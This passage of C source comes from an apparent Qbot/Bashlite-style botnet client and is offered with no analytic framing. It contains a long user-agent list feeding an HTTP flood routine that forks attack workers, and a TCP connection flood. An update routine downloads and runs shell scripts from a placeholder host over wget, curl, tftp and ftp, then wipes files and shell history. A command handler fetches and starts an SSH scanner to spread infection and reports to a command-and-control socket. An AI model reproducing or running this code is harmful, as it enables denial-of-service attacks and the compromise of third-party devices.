  2482. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0","Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2483. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2484. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2485. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2486. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2487. "Opera/6.04 (Windows XP; U) [en]",
  2488. "Opera/9.99 (X11; U; sk)",
  2489. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2490. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2491. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2492. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2493. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2494. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2495. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2496. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2497. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2498. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2499. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2500. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2501. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2502. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2503. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  2504. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2505. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2506. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2507. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2508. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2509. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  2510. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2511. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2512. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  2513. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  2514. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2515. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  2516. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2517. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  2518. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2519. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2520. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  2521. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  2522. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2523. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  2524. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  2525. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  2526. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  2527. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  2528. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  2529. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2530. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2531. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2532. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  2533. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2534. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2535. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  2536. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2537. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  2538. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2539. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  2540. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  2541. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2542. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  2543. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2544. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2545. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  2546. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  2547. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  2548. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  2549. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  2550. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  2551. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  2552. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2553. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2554. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  2555. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  2556. "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)",
  2557. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  2558. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  2559. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  2560. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  2561. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  2562. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  2563. "C4PC UserAgent/0.7",
  2564. "Googlebot 1.01.003",
  2565. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  2566. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  2567. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  2568. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0",
  2569. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  2570. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  2571. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2572. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  2573. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  2574. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  2575. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  2576. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  2577. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  2578. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  2579. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  2580. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  2581. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  2582. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  2583. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2584. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  2585. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  2586. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  2587. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2588. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2589. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  2590. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  2591. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2592. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  2593. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  2594. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  2595. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  2596. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  2597. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  2598. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  2599. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  2600. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2601. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  2602. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  2603. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  2604. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2605. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  2606. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  2607. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2608. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  2609. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  2610. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2611. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  2612. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2613. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  2614. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  2615. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2616. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  2617. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  2618. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  2619. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  2620. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  2621. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  2622. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  2623. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  2624. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  2625. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  2626. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  2627. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2628. "Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)",
  2629. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  2630. "Mozilla/5.0 (Linux; Android 4.2.2; AFTB Build/JDQ39) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.173 Mobile Safari/537.22",
  2631. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  2632. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  2633. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2634. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2635. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  2636. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  2637. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2638. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  2639. "Mozilla/5.0 (PLAYSTATION 3 4.66) AppleWebKit/531.22.8 (KHTML, like Gecko)",
  2640. "Wget/1.12 (linux-gnu)",
  2641. "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  2642. "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  2643. "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
  2644. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  2645. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  2646. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  2647. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  2648. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  2649. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  2650. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  2651. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2652. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  2653. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  2654. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  2655. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2656. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2657. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  2658. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  2659. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2660. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  2661. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  2662. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2663. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  2664. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2665. };
  2666.  
  2667. const char *connections[] = {"close", "keep-alive", "accept"};
  2668.  
  2669. int i, timeEnd = time(NULL) + timeFoo;
  2670. char request[512];
  2671.  
  2672. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 30)], useragents[(rand() % 674)]);
  2673.  
  2674. for (i = 0; i < power; i++) {
  2675. if (fork()) {
  2676. while (timeEnd > time(NULL)) {
  2677. int socket = socket_connect((char *)host, port);
  2678. if (socket != 0) {
  2679. write(socket, request, strlen(request)); // Won't send out agents correctly will be fixed later ; note to self
  2680. close(socket);
  2681. }
  2682. }
  2683. _exit(1);
  2684. }
  2685. }
  2686. }
  2687.  
  2688.  
  2689. void sendCNC(unsigned char *ip,int port, int end_time)
  2690. {
  2691. int end = time(NULL) + end_time;
  2692. int sockfd;
  2693. struct sockaddr_in server;
  2694. //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2695.  
  2696. server.sin_addr.s_addr = inet_addr(ip);
  2697. server.sin_family = AF_INET;
  2698. server.sin_port = htons(port);
  2699.  
  2700. while(end > time(NULL))
  2701. {
  2702. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2703. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  2704. sleep(1);
  2705. close(sockfd);
  2706. }
  2707.  
  2708. }
  2709.  
  2710. void UpdateBins()
  2711. {
  2712. int pid;
  2713.  
  2714. if ( (pid = fork()) == 0) {
  2715. system("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; curl -O http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; history -c");
  2716. sleep(20); //sleeping for 20 dont wanna kill all your bots.
  2717. } else {
  2718. printf("%d\n", pid);
  2719. }
  2720.  
  2721. return;
  2722. }
  2723.  
  2724. void processCmd(int argc, unsigned char *argv[])
  2725. {
  2726.  
  2727. if(!strcmp(argv[0], "PYTHON")) //Thanks to B1NARY for the python scanner :P
  2728. {
  2729. if(!strcmp(argv[1], "INSTALL"))
  2730. {
  2731. system("sudo yum install python-paramiko -y;sudo apt-get install python-paramiko -y;sudo mkdir /.tmp/;cd /.tmp;wget 0.0.0.0/priv2.py");
  2732. ClearHistory();
  2733. sockprintf(mainCommSock, "INSTALLING PYTHON SCANNER");
  2734. }
  2735. if(!strcmp(argv[1], "UPDATE"))
  2736. {
  2737. system("cd /.tmp;rm -rf *py;wget 0.0.0.0/priv2.py");
  2738. ClearHistory();
  2739. sockprintf(mainCommSock, "UPDATING PYTHON SCANNER");
  2740. }
  2741. if(!strcmp(argv[1], "OFF"))
  2742. {
  2743. system("killall -9 python;pkill python");
  2744. ClearHistory();
  2745. sockprintf(mainCommSock, "STOPPING PYTHON SCANNER");
  2746. }
  2747. if(!strcmp(argv[1], "START"))
  2748. {
  2749. system("cd /.tmp;python priv2.py 1000 LUCKY 1 3");
  2750. ClearHistory();
  2751. sockprintf(mainCommSock, "STARTING VOIDS HACKA SCANNA");
  2752. }
  2753.  
  2754. }
  2755.  
  2756. if(!strcmp(argv[0], "PING"))
  2757. {
  2758. sockprintf(mainCommSock, "PONG!");
  2759. return;
  2760. }
  2761.  
  2762. if(!strcmp(argv[0], "TABLE"))
  2763. {
  2764. sockprintf(mainCommSock, "%d", getdtablesize());
  2765. return;
  2766. }
  2767.  
  2768. if(!strcmp(argv[0], "UPDATE"))
  2769. {
  2770. sockprintf(mainCommSock, "UPDATE TAKEN SUCCESFULLY");
  2771. UpdateBins(1);
  2772. return;
  2773. }
  2774.  
  2775. if(!strcmp(argv[0], "SCANNER"))
  2776. {
  2777. if(!strcmp(argv[1], "OFF"))
  2778. {
  2779. if(scanPid == 0) return;
  2780. kill(scanPid, 9);
